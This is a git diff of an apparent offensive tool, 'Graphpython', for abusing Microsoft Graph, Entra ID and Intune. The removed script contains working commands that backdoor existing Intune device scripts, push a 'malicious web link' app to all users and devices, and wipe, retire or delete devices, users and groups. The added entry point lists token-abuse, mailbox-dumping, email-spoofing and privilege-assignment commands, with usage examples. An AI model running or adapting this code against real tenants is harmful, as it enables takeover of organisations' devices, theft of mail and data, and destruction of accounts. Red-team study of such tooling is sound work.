get_user_agent(args) - - url_create = "https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts" - headers = { - "Authorization": f"Bearer {access_token}", - "Content-Type": "application/json", - "User-Agent": user_agent - } - encoded_script_content = base64.b64encode(script_content.encode('utf-8')).decode('utf-8') - script_payload = { - "@odata.type": "#microsoft.graph.deviceManagementScript", - "displayName": display_name, - "description": description, - "runSchedule": { - "@odata.type": "microsoft.graph.runSchedule" - }, - "scriptContent": encoded_script_content, - "runAsAccount": runasaccount, - "enforceSignatureCheck": sigcheck == 'true', - "fileName": "Deploy-PrinterSettings.ps1", - "runAs32Bit": runas32bit == 'true' - } - - response = requests.post(url_create, headers=headers, json=script_payload) - if response.status_code == 201: - print_green("\n[+] Script created successfully") - script_id = response.json().get('id') - print_green(f"[+] Script ID: {script_id}") - - url_assign = f"https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts/{script_id}/assign" - - try: - assignments = [] - - assign_all_devices = input("\nAssign to all devices? (yes/no): ").strip().lower() - if assign_all_devices == 'yes': - assignments.append({ - "target": { - "@odata.type": "#microsoft.graph.allDevicesAssignmentTarget" - } - }) - - assign_all_users = input("Assign to all users? (yes/no): ").strip().lower() - if assign_all_users == 'yes': - assignments.append({ - "target": { - "@odata.type": "#microsoft.graph.allLicensedUsersAssignmentTarget" - } - }) - - assign_specific_group = input("Assign to specific group? (yes/no): ").strip().lower() - if assign_specific_group == 'yes': - group_id = input("Enter Group ID: ").strip() - assignments.append({ - "target": { - "@odata.type": "#microsoft.graph.groupAssignmentTarget", - "groupId": group_id - } - }) - - add_group_exclusion = input("Add group exclusion? (yes/no): ").strip().lower() - if add_group_exclusion == 'yes': - exclusion_group_id = input("Enter Group ID to Exclude: ").strip() - assignments.append({ - "target": { - "@odata.type": "#microsoft.graph.exclusionGroupAssignmentTarget", - "groupId": exclusion_group_id - } - }) - - except KeyboardInterrupt: - sys.exit() - - assignment_payload = { - "deviceManagementScriptAssignments": assignments - } - - response = requests.post(url_assign, headers=headers, json=assignment_payload) - if response.status_code == 200: - print_green("\n[+] Script assigned successfully") - else: - print_red(f"[-] Failed to assign script: {response.status_code}") - print(response.text) - else: - print_red(f"[-] Failed to create script: {response.status_code}") - print(response.text) - print("=" * 80) - - # backdoor-script - elif args.command and args.command.lower() == "backdoor-script": - if not args.id or not args.script: - print_red("[-] Error: --id and --script required for Backdoor-Script command") - return - - print_yellow("\n[*] Backdoor-Script") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts/{args.id}" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - # 1. get current target script settings and encode new script content so we don't override anything - # - could add option to alter pre-existing settings - try: - script_content = read_file_content(args.script) - encoded_script_content = base64.b64encode(script_content.encode('utf-8')).decode('utf-8') - except Exception as e: - print_red(f"[-] Error reading or encoding script file: {e}") - return - - response = requests.get(api_url, headers=headers) - if response.ok: - json_data = response.json() - json_data.pop('@odata.context', None) # remove or 400 err - json_data.pop('id', None) # remove or 400 err - json_data.pop('createdDateTime', None) # remove or 400 err - json_data.pop('lastModifiedDateTime', None) # remove or 400 err - json_data['scriptContent'] = encoded_script_content # replace with our new script content - else: - print_red(f"[-] HTTP Error: {response.status_code}") - print_red(response.text) - return - - # 2. patch script with updated script content - patch = requests.patch(api_url, headers=headers, json=json_data) - if patch.ok: - print_green("\n[+] Patched device management script successfully\n") - json_data = patch.json() - - script_content = json_data.get('scriptContent') - if script_content: - decoded_script_content = base64.b64decode(script_content).decode('utf-8') - json_data['scriptContent'] = decoded_script_content - - json_data.pop('@odata.context', None) - json_data.pop('scriptContent', None) - for key, value in json_data.items(): - print(f"{key} : {value}") - - if script_content: - print_green("scriptContent :\n") - print(decoded_script_content) - else: - print_red(f"[-] Error patching device management script: {patch.status_code}") - print_red(patch.text) - print("=" * 80) - - # deploy-maliciousweblink - elif args.command and args.command.lower() == "deploy-maliciousweblink": - print_yellow("\n[*] Deploy-MaliciousWebLink") - print("=" * 80) - - api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - try: - # all required - appUrl = input("\nApp URL: ").strip() - description = input("Description: ").strip() - displayName = input("Display Name: ").strip() - publisher = input("Publisher: ").strip() - isFeatured = input("Show this as a featured app in the Company Portal? (true/false): ").strip().lower() - if isFeatured not in ['true', 'false']: - print("Invalid input for Company Portal. Defaulting to 'False'.") - isFeatured = 'False' - except KeyboardInterrupt: - sys.exit() - - json_body = { - "@odata.type": "#microsoft.graph.windowsWebApp", - "appUrl": appUrl, - "categories": [], - "description": description, - "developer": "", - "displayName": displayName, - "informationUrl": "", - "isFeatured": isFeatured, - "notes": "", - "owner": "", - "privacyInformationUrl": "", - "publisher": publisher, - "roleScopeTagIds": [] - } - - response = requests.post(api_url, json=json_body, headers=headers) - if response.ok: - result = response.json() - print_green("\n[+] Malicious web link app deployed successfully") - - appid = result['id'] - print(f"\nApp ID: {appid}") - - assign_url = f"https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/{appid}/assign" - assign_body = { - "mobileAppAssignments": [ - { - "@odata.type": "#microsoft.graph.mobileAppAssignment", - "target": { - "@odata.type": "#microsoft.graph.allLicensedUsersAssignmentTarget" - }, - "intent": "Required", - "settings": None - }, - { - "@odata.type": "#microsoft.graph.mobileAppAssignment", - "target": { - "@odata.type": "#microsoft.graph.allDevicesAssignmentTarget" - }, - "intent": "Required", - "settings": None - } - ] - } - - assign = requests.post(assign_url, json=assign_body, headers=headers) - if assign.ok: - print_green("\n[+] Web link app assigned successfully") - else: - print_red(f"\n[-] Failed to assign web link app: {response.status_code}") - print_red(response.text) - else: - print_red(f"[-] Failed to create web link app: {response.status_code}") - print_red(response.text) - - print("=" * 80) - - # deploy-maliciouswin32app - # - user will have to packagae app prior - # https://cloudinfra.net/how-to-deploy-exe-applications-using-intune/ - # https://www.systemcenterdudes.com/deploy-microsoft-intune-win32-apps/ - # - # POST https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/ - # {"@odata.type":"#microsoft.graph.win32LobApp","applicableArchitectures":"x64,x86","allowAvailableUninstall":false,"categories":[],"description":"IntuneMessageBox","developer":"","displayName":"IntuneMessageBox","displayVersion":"","fileName":"IntuneMessageBox.intunewin","installCommandLine":"IntuneMessageBox.exe","installExperience":{"deviceRestartBehavior":"suppress","maxRunTimeInMinutes":30,"runAsAccount":"system"},"informationUrl":"","isFeatured":false,"roleScopeTagIds":[],"notes":"","minimumSupportedWindowsRelease":"1607","msiInformation":null,"owner":"","privacyInformationUrl":"","publisher":"ECorp","returnCodes":[{"returnCode":0,"type":"success"},{"returnCode":1707,"type":"success"},{"returnCode":3010,"type":"softReboot"},{"returnCode":1641,"type":"hardReboot"},{"returnCode":1618,"type":"retry"}],"rules":[{"@odata.type":"#microsoft.graph.win32LobAppFileSystemRule","ruleType":"detection","operator":"notConfigured","check32BitOn64System":false,"operationType":"exists","comparisonValue":null,"fileOrFolderName":"IntuneMessageBox.exe","path":"C:\\Program Files\\IntuneMessageBox.exe"}],"runAs32Bit":false,"setupFilePath":"IntuneMessageBox.exe","uninstallCommandLine":"IntuneMessageBox.exe"} - # -> need to add install/uninstall instruction batch script - elif args.command and args.command.lower() == "deploy-maliciouswin32exe": # don't use this yet - url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/" - - # add the option to be available in the company portal for download! - data = { - "@odata.type": "#microsoft.graph.win32LobApp", - "applicableArchitectures": "x64,x86", - "allowAvailableUninstall": False, - "categories": [], - "description": "IntuneMessageBox", - "developer": "", - "displayName": "IntuneMessageBox", - "displayVersion": "", - "fileName": "IntuneMessageBox.intunewin", - "installCommandLine": "IntuneMessageBox.exe", - "installExperience": { - "deviceRestartBehavior": "suppress", - "maxRunTimeInMinutes": 30, - "runAsAccount": "system" - }, - "informationUrl": "", - "isFeatured": False, - "roleScopeTagIds": [], - "notes": "", - "minimumSupportedWindowsRelease": "1607", - "msiInformation": None, - "owner": "", - "privacyInformationUrl": "", - "publisher": "ECorp", - "returnCodes": [ - {"returnCode": 0, "type": "success"}, - {"returnCode": 1707, "type": "success"}, - {"returnCode": 3010, "type": "softReboot"}, - {"returnCode": 1641, "type": "hardReboot"}, - {"returnCode": 1618, "type": "retry"} - ], - "rules": [ - { - "@odata.type": "#microsoft.graph.win32LobAppFileSystemRule", - "ruleType": "detection", - "operator": "notConfigured", - "check32BitOn64System": False, - "operationType": "exists", - "comparisonValue": None, - "fileOrFolderName": "IntuneMessageBox.exe", - "path": "C:\\Program Files\\IntuneMessageBox.exe" - } - ], - "runAs32Bit": False, - "setupFilePath": "IntuneMessageBox.exe", - "uninstallCommandLine": "IntuneMessageBox.exe" - } - - # deploy-maliciouswin32msi - # - todo - - # update-deviceconfig - elif args.command and args.command.lower() == "update-deviceconfig": - if not args.id: - print_red("[-] Error: --id required for Update-DeviceConfig command") - return - - properties = [ - { - "Property": "ownerType", - "Description": "Ownership of the device. Possible values are, 'company' or 'personal'. Default is unknown. Supports $filter operator 'eq' and 'or'. Possible values are: unknown, company, personal." - }, - { - "Property": "managedDeviceOwnerType", - "Description": "Ownership of the device. Can be 'company' or 'personal'. Possible values are: unknown, company, personal." - }, - { - "Property": "managedDeviceName", - "Description": "Automatically generated name to identify a device. Can be overwritten to a user friendly name." - }, - { - "Property": "notes", - "Description": "Notes on the device created by IT Admin. Default is null. To retrieve actual values GET call needs to be made, with device id and included in select parameter. Supports: $select. $Search is not supported." - }, - { - "Property": "roleScopeTagIds", - "Description": "List of Scope Tag IDs for this Device instance." - }, - { - "Property": "configurationManagerClientHealthState", - "Description": "Configuration manager client health state, valid only for devices managed by MDM/ConfigMgr Agent." - }, - { - "Property": "configurationManagerClientInformation", - "Description": "Configuration manager client information, valid only for devices managed, duel-managed or tri-managed by ConfigMgr Agent." - } - ] - - print_yellow("\n[*] Update-DeviceConfig") - print("=" * 80) - print("\033[34m[>] Device Properties: https://learn.microsoft.com/en-us/graph/api/intune-devices-manageddevice-update\033[0m\n") - api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices('{args.id}')" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - table = [[prop["Property"], prop["Description"]] for prop in properties] - separator = ['-' * 20, '-' * 50] - - tablenew = tabulate([["Property", "Description"]] + [separator] + table, headers="firstrow", tablefmt="plain", colalign=("left", "left")) - print(tablenew) - - try: - prop = input("\nEnter Property: ").strip() - newvalue = input("Enter New Value: ").strip() - except KeyboardInterrupt: - sys.exit() - - json_body = { - prop : newvalue - } - - response = requests.patch(api_url, headers=headers, data=json.dumps(json_body)) - if response.ok: - print_green("\n[+] Device config updated successfully") - - else: - print_red(f"\n[-] Failed to update device config: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # reboot-device - elif args.command and args.command.lower() == "reboot-device": - if not args.id: - print_red("[-] Error: --id argument is required for Reboot-Device command") - return - - print_yellow("\n[*] Reboot-Device") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/rebootNow" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - response = requests.post(api_url, headers=headers) - if response.ok: - print_green(f"[+] Device reboot initiated successfully") - else: - print_red(f"[-] Failed to initiate device reboot: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # retire-device - elif args.command and args.command.lower() == "retire-device": - if not args.id: - print_red("[-] Error: --id argument is required for Retire-Device command") - return - - print_yellow("\n[*] Retire-Device") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/retire" - user_agent = get_user_agent(args) - - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - response = requests.post(api_url, headers=headers) - if response.ok: - print_green(f"[+] Device retire initiated successfully") - else: - print_red(f"[-] Failed to initiate device retire: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # lock-device - elif args.command and args.command.lower() == "lock-device": - if not args.id: - print_red("[-] Error: --id argument is required for Lock-Device command") - return - - print_yellow("\n[*] Lock-Device") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/remoteLock" - user_agent = get_user_agent(args) - - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - response = requests.post(api_url, headers=headers) - if response.ok: - print_green(f"[+] Device lock initiated successfully") - else: - print_red(f"[-] Failed to initiate device lock: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # shutdown-device - elif args.command and args.command.lower() == "shutdown-device": - if not args.id: - print_red("[-] Error: --id argument is required for Shutdown-Device command") - return - - print_yellow("\n[*] Shutdown-Device") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/shutDown" - user_agent = get_user_agent(args) - - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - response = requests.post(api_url, headers=headers) - if response.ok: - print_green(f"[+] Device shutdown initiated successfully") - else: - print_red(f"[-] Failed to initiate device shutdown: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # add more from - # https://learn.microsoft.com/en-us/graph/api/resources/intune-devices-manageddevice?view=graph-rest-beta - - - ########### - # Cleanup # - ########### - - # delete-user - elif args.command and args.command.lower() == "delete-user": - if not args.id: - print_red("[-] Error: --id argument is required for Delete-User command") - return - - print_yellow("\n[*] Delete-User") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - response = requests.delete(api_url, headers=headers) - if response.ok: - print_green(f"[+] User deleted") - else: - print_red(f"[-] Failed to delete user: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # delete-group - elif args.command and args.command.lower() == "delete-group": - if not args.id: - print_red("[-] Error: --id argument is required for Delete-Group command") - return - - print_yellow("\n[*] Delete-Group") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/groups/{args.id}" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - response = requests.delete(api_url, headers=headers) - if response.ok: - print_green(f"[+] Group deleted") - else: - print_red(f"[-] Failed to delete group: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # remove-groupmember - elif args.command and args.command.lower() == "remove-groupmember": - if not args.id: - print_red("[-] Error: --id groupid,objectid required for Remove-GroupMember command") - return - - ids = args.id.split(',') - if len(ids) != 2: - print_red("[-] Please provide two IDs separated by a comma (group ID, object ID).") - return - - group_id, member_id = ids[0].strip(), ids[1].strip() - print_yellow("\n[*] Remove-GroupMember") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/groups/{group_id}/members/{member_id}/$ref" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - response = requests.delete(api_url, headers=headers) - if response.ok: - print_green(f"[+] Group member removed") - else: - print_red(f"[-] Failed to remove group member: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # delete-application - elif args.command and args.command.lower() == "delete-application": - if not args.id: - print_red("[-] Error: --id argument is required for Delete-Application command") - return - - print_yellow("\n[*] Delete-Application") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - response = requests.delete(api_url, headers=headers) - if response.ok: - print_green(f"[+] Application deleted") - else: - print_red(f"[-] Failed to delete application: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # delete-device - elif args.command and args.command.lower() == "delete-device": - if not args.id: - print_red("[-] Error: --id argument is required for Delete-Device command") - return - - print_yellow("\n[*] Delete-Device") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/devices/{args.id}" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - response = requests.delete(api_url, headers=headers) - if response.ok: - print_green(f"[+] Device deleted") - else: - print_red(f"[-] Failed to delete user: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # wipe-device - elif args.command and args.command.lower() == "wipe-device": - if not args.id: - print_red("[-] Error: --id argument is required for Wipe-Device command") - return - - print_yellow("\n[*] Wipe-Device") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/wipe" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - body = { - "keepEnrollmentData": True, - "keepUserData": True, - "useProtectedWipe": False - } - - response = requests.post(api_url, headers=headers, json=body) - if response.ok: - print_green(f"[+] Device wipe initiated successfully") - else: - print_red(f"[-] Failed to initiate device wipe: {response.status_code}") - print_red(response.text) - print("=" * 80) - - - ############ - # Locators # - ############ - - # locate-objectid - elif args.command and args.command.lower() == "locate-objectid": - if not args.id: - print_red("[-] Error: --id required for Locate-ObjectID command") - return - - print_yellow("\n[*] Locate-ObjectID") - print("=" * 80) - graph_api_url = "https://graph.microsoft.com/v1.0" - object_url = f"{graph_api_url}/directoryObjects/{args.id}" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - try: - response = requests.get(object_url, headers=headers) - response.raise_for_status() - object_data = response.json() - object_type = object_data.get('@odata.type', '').split('.')[-1] - - print_green(f"Object Type: {object_type}") - print(f"ID: {object_data.get('id', 'N/A')}") - print(f"Display Name: {object_data.get('displayName', 'N/A')}") - - if object_type == 'user': - print(f"User Principal Name: {object_data.get('userPrincipalName', 'N/A')}") - print(f"Mail: {object_data.get('mail', 'N/A')}") - print(f"Job Title: {object_data.get('jobTitle', 'N/A')}") - print(f"Department: {object_data.get('department', 'N/A')}") - print(f"Office Location: {object_data.get('officeLocation', 'N/A')}") - print(f"Mobile Phone: {object_data.get('mobilePhone', 'N/A')}") - print(f"Business Phones: {', '.join(object_data.get('businessPhones', []))}") - print(f"Account Enabled: {object_data.get('accountEnabled', 'N/A')}") - print(f"Created DateTime: {object_data.get('createdDateTime', 'N/A')}") - print(f"Last Sign-In DateTime: {object_data.get('signInActivity', {}).get('lastSignInDateTime', 'N/A')}") - elif object_type == 'group': - print(f"Mail: {object_data.get('mail', 'N/A')}") - print(f"Security Enabled: {object_data.get('securityEnabled', 'N/A')}") - print(f"Mail Enabled: {object_data.get('mailEnabled', 'N/A')}") - print(f"Group Types: {', '.join(object_data.get('groupTypes', []))}") - print(f"Visibility: {object_data.get('visibility', 'N/A')}") - print(f"Created DateTime: {object_data.get('createdDateTime', 'N/A')}") - print(f"Description: {object_data.get('description', 'N/A')}") - print(f"Membership Rule: {object_data.get('membershipRule', 'N/A')}") - print(f"Is Assignable To Role: {object_data.get('isAssignableToRole', 'N/A')}") - elif object_type == 'servicePrincipal': - print(f"App ID: {object_data.get('appId', 'N/A')}") - print(f"Service Principal Type: {object_data.get('servicePrincipalType', 'N/A')}") - print(f"App Display Name: {object_data.get('appDisplayName', 'N/A')}") - print(f"Homepage: {object_data.get('homepage', 'N/A')}") - print(f"Login URL: {object_data.get('loginUrl', 'N/A')}") - print(f"Publisher Name: {object_data.get('publisherName', 'N/A')}") - print(f"App Roles Count: {len(object_data.get('appRoles', []))}") - print(f"OAuth2 Permissions Count: {len(object_data.get('oauth2Permissions', []))}") - print(f"Tags: {', '.join(object_data.get('tags', []))}") - print(f"Account Enabled: {object_data.get('accountEnabled', 'N/A')}") - elif object_type == 'application': - print(f"App ID: {object_data.get('appId', 'N/A')}") - print(f"Sign In Audience: {object_data.get('signInAudience', 'N/A')}") - print(f"Publisher Domain: {object_data.get('publisherDomain', 'N/A')}") - print(f"Verified Publisher: {object_data.get('verifiedPublisher', {}).get('displayName', 'N/A')}") - print(f"App Roles Count: {len(object_data.get('appRoles', []))}") - print(f"Required Resource Access Count: {len(object_data.get('requiredResourceAccess', []))}") - print(f"Web Redirect URIs: {', '.join(object_data.get('web', {}).get('redirectUris', []))}") - print(f"Created DateTime: {object_data.get('createdDateTime', 'N/A')}") - elif object_type == 'device': - print(f"Device ID: {object_data.get('deviceId', 'N/A')}") - print(f"Operating System: {object_data.get('operatingSystem', 'N/A')}") - print(f"Operating System Version: {object_data.get('operatingSystemVersion', 'N/A')}") - print(f"Trust Type: {object_data.get('trustType', 'N/A')}") - print(f"Approximate Last Sign In DateTime: {object_data.get('approximateLastSignInDateTime', 'N/A')}") - print(f"Compliance State: {object_data.get('complianceState', 'N/A')}") - print(f"Is Managed: {object_data.get('isManaged', 'N/A')}") - print(f"Is Compliant: {object_data.get('isCompliant', 'N/A')}") - print(f"Registered Owner: {object_data.get('registeredOwners', [{}])[0].get('userPrincipalName', 'N/A')}") - - except requests.exceptions.HTTPError as e: - if e.response.status_code == 404: - print_red(f"[-] Object with ID {args.id} not found") - else: - print_red(f"[-] An error occurred while retrieving object details: {str(e)}") - except requests.exceptions.RequestException as e: - print_red(f"[-] An error occurred while making the request: {str(e)}") - - print("=" * 80) - - # locate-permissionid - elif args.command and args.command.lower() == "locate-permissionid": - if not args.id: - print_red("[-] Error: --id argument is required for Locate-PermissionID command") - return - - print_yellow("\n[*] Locate-PermissionID") - print("=" * 80) - - def parse_html(content): - soup = BeautifulSoup(content, 'html.parser') - permissions = {} - - for h3 in soup.find_all('h3'): - title = h3.text - table = h3.find_next('table') - headers = [th.text for th in table.find('thead').find_all('th')] - rows = table.find('tbody').find_all('tr') - - permission_data = {} - for row in rows: - cells = row.find_all('td') - category = cells[0].text - application = cells[1].text - delegated = cells[2].text - permission_data[category] = { - headers[1]: application, - headers[2]: delegated - } - permissions[title] = permission_data - - return permissions - - def highlight(text, should_highlight): - if should_highlight: - return f"\033[92m{text}\033[0m" - return text - - def print_permission(permission, data, app_ids, delegated_ids): - print_green(f"{permission}") - for category, values in data.items(): - print(f" {category}:") - app_highlight = data['Identifier']['Application'] in app_ids - delegated_highlight = data['Identifier']['Delegated'] in delegated_ids - print(f" Application: {highlight(values['Application'], app_highlight)}") - print(f" Delegated: {highlight(values['Delegated'], delegated_highlight)}") - print() - - identifiers = args.id.split(',') - script_dir = os.path.dirname(os.path.abspath(__file__)) - file_path = os.path.join(script_dir, '.github', 'graphpermissions.txt') - - try: - with open(file_path, 'r') as file: - content = file.read() - except FileNotFoundError: - print_red(f"[-] The file {file_path} does not exist.") - return - except Exception as e: - print_red(f"[-] An error occurred: {e}") - return - - permissions = parse_html(content) - app_ids = [] - delegated_ids = [] - - for permission, data in permissions.items(): - if data['Identifier']['Application'] in identifiers: - app_ids.append(data['Identifier']['Application']) - if data['Identifier']['Delegated'] in identifiers: - delegated_ids.append(data['Identifier']['Delegated']) - - found_permissions = False - - for permission, data in permissions.items(): - if data['Identifier']['Application'] in app_ids or data['Identifier']['Delegated'] in delegated_ids: - print_permission(permission, data, app_ids, delegated_ids) - found_permissions = True - - if not found_permissions: - print_red("[-] Permission ID not found") - - print("=" * 80) - -if __name__ == "__main__": +if __name__ == '__main__': main() \ No newline at end of file diff --git a/graphpython/MANIFEST.in b/graphpython/MANIFEST.in new file mode 100644 index 0000000..3923482 --- /dev/null +++ b/graphpython/MANIFEST.in @@ -0,0 +1 @@ +include graphpython/commands/graphpermissions.txt \ No newline at end of file diff --git a/graphpython/__init__.py b/graphpython/__init__.py new file mode 100644 index 0000000..1321f68 --- /dev/null +++ b/graphpython/__init__.py @@ -0,0 +1 @@ +# chama \ No newline at end of file diff --git a/graphpython/__main__.py b/graphpython/__main__.py new file mode 100644 index 0000000..3d2c1af --- /dev/null +++ b/graphpython/__main__.py @@ -0,0 +1,216 @@ +#!/usr/bin/env python3 + +import sys +import argparse +import textwrap +from graphpython.commands import outsider, auth, enum, exploit, intune_enum, intune_exploit, cleanup, locators +from graphpython.utils.helpers import list_commands, print_red + +def parseArgs(): + + version = "1.0" + print(f"\n\033[3mGraphpython v{version} - @mlcsec\033[0m\n") + parser = argparse.ArgumentParser( + formatter_class=argparse.RawDescriptionHelpFormatter, + epilog=textwrap.dedent('''\ + examples: + graphpython --command invoke-reconasoutsider --domain company.com + graphpython --command invoke-userenumerationasoutsider --username + graphpython --command get-graphtokens + graphpython --command invoke-refreshtoazuremanagementtoken --tenant --token refresh-token + graphpython --command get-users --token eyJ0... -- select displayname,id [--id ] + graphpython --command list-recentonedrivefiles --token token + graphpython --command invoke-search --search "credentials" --entity driveItem --token token + graphpython --command invoke-customquery --query https://graph.microsoft.com/v1.0/sites/{siteId}/drives --token token + graphpython --command assign-privilegedrole --token token + graphpython --command spoof-owaemailmessage [--id ] --token token --email email-body.txt + graphpython --command get-manageddevices --token intune-token + graphpython --command deploy-maliciousscript --script malicious.ps1 --token token + graphpython --command backdoor-script --id --script backdoored-script.ps1 --token token + graphpython --command add-exclusiongrouptopolicy --id --token token + graphpython --command reboot-device --id --token eyj0... + ''') + ) + parser.add_argument("--command", help="Command to execute") + parser.add_argument("--list-commands", action="store_true", help="List available commands") + parser.add_argument("--token", help="Microsoft Graph access token or refresh token for FOCI abuse") + parser.add_argument("--estsauthcookie", help="'ESTSAuth' or 'ESTSAuthPersistent' cookie value") + parser.add_argument("--use-cae", action="store_true", help="Flag to use Continuous Access Evaluation (CAE) - add 'cp1' as client claim to get an access token valid for 24 hours") + parser.add_argument("--cert", help="X509Certificate path (.pfx)") + parser.add_argument("--domain", help="Target domain") + parser.add_argument("--tenant", help="Target tenant ID") + parser.add_argument("--username", help="Username or file containing username (invoke-userenumerationasoutsider)") + parser.add_argument("--secret", help="Enterprise application secretText (invoke-appsecrettoaccesstoken)") + parser.add_argument("--id", help="ID of target object") + parser.add_argument("--select", help="Fields to select from output") + parser.add_argument("--query", help="Raw API query (GET only)") + parser.add_argument("--search", help="Search string") + parser.add_argument("--entity", choices=['driveItem', 'message', 'chatMessage', 'site', 'event'],help="Search entity type: driveItem(OneDrive), message(Mail), chatMessage(Teams), site(SharePoint), event(Calenders)") + parser.add_argument("--device", choices=['Mac', 'Windows', 'AndroidMobile', 'iPhone'], help="Device type for User-Agent forging") + parser.add_argument("--browser", choices=['Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari'], help="Browser type for User-Agent forging") + parser.add_argument("--only-return-cookies", action="store_true", help="Only return cookies from the request (open-owamailboxinbrowser)") + parser.add_argument("--mail-folder", choices=['Allitems', 'inbox', 'archive', 'drafts', 'sentitems', 'deleteditems', 'recoverableitemsdeletions'], help="Mail folder to dump (dump-owamailbox)") + parser.add_argument("--top", type=int, help="Number (int) of messages to retrieve (dump-owamailbox)") + parser.add_argument("--script", help="File containing the script content (deploy-maliciousscript and backdoor-script)") + parser.add_argument("--email", help="File containing OWA email message body content (spoof-owaemailmessage)") + + args = parser.parse_args() + return args, parser + +def main(): + + args, parser = parseArgs() + + available_commands = [ + "invoke-reconasoutsider","invoke-userenumerationasoutsider","get-graphtokens", "get-tenantid", "get-tokenscope", "decode-accesstoken", + "invoke-refreshtomsgraphtoken", "invoke-refreshtoazuremanagementtoken", "invoke-refreshtovaulttoken", + "invoke-refreshtomsteamstoken", "invoke-refreshtoofficeappstoken", "invoke-refreshtoofficemanagementtoken", + "invoke-refreshtooutlooktoken", "invoke-refreshtosubstratetoken", "invoke-refreshtoyammertoken", "invoke-refreshtointuneenrollmenttoken", + "invoke-refreshtoonedrivetoken", "invoke-refreshtosharepointtoken", "invoke-certtoaccesstoken", "invoke-estscookietoaccesstoken", "invoke-appsecrettoaccesstoken", + "new-signedjwt", "get-currentuser", "get-currentuseractivities", "get-orginfo", "get-domains", "get-user", "get-userproperties", + "get-userprivileges", "get-usertransitivegroupmembership", "get-group", "get-groupmember", "get-userapproleassignments", "get-serviceprincipalapproleassignments", + "get-conditionalaccesspolicy", "get-personalcontacts", "get-crosstenantaccesspolicy", "get-partnercrosstenantaccesspolicy", + "get-userchatmessages", "get-administrativeunitmember", "get-onedrivefiles", "get-userpermissiongrants", "get-oauth2permissiongrants", + "get-messages", "get-temporaryaccesspassword", "get-password", "list-authmethods", "list-directoryroles", "list-notebooks", + "list-conditionalaccesspolicies", "list-conditionalauthenticationcontexts", "list-conditionalnamedlocations", "list-sharepointroot", + "list-sharepointsites","list-sharepointurls", "list-externalconnections", "list-applications", "list-serviceprincipals", "list-tenants", "list-joinedteams", + "list-chats", "list-chatmessages", "list-devices", "list-administrativeunits", "list-onedrives", "list-recentonedrivefiles", "list-onedriveurls", + "list-sharedonedrivefiles", "invoke-customquery", "invoke-search", "find-privilegedroleusers", "find-updatablegroups", "find-dynamicgroups","find-securitygroups", + "locate-objectid", "update-userpassword", "add-applicationpassword", "add-usertap", "add-groupmember", "create-application", + "create-newuser", "invite-guestuser", "assign-privilegedrole", "open-owamailboxinbrowser", "dump-owamailbox", "spoof-owaemailmessage", + "delete-user", "delete-group", "remove-groupmember", "delete-application", "delete-device", "wipe-device", "retire-device", + "get-manageddevices", "get-userdevices", "get-caps", "get-devicecategories", "get-devicecompliancepolicies", "update-deviceconfig", + "get-devicecompliancesummary", "get-deviceconfigurations", "get-deviceconfigurationpolicies", "get-deviceconfigurationpolicysettings", + "get-deviceenrollmentconfigurations", "get-devicegrouppolicyconfigurations","update-userproperties", "dump-windowsapps", "dump-iosapps", "dump-androidapps", + "get-devicegrouppolicydefinition", "dump-devicemanagementscripts", "get-scriptcontent", "find-privilegedapplications", "dump-macosapps", "deploy-maliciousweblink", + 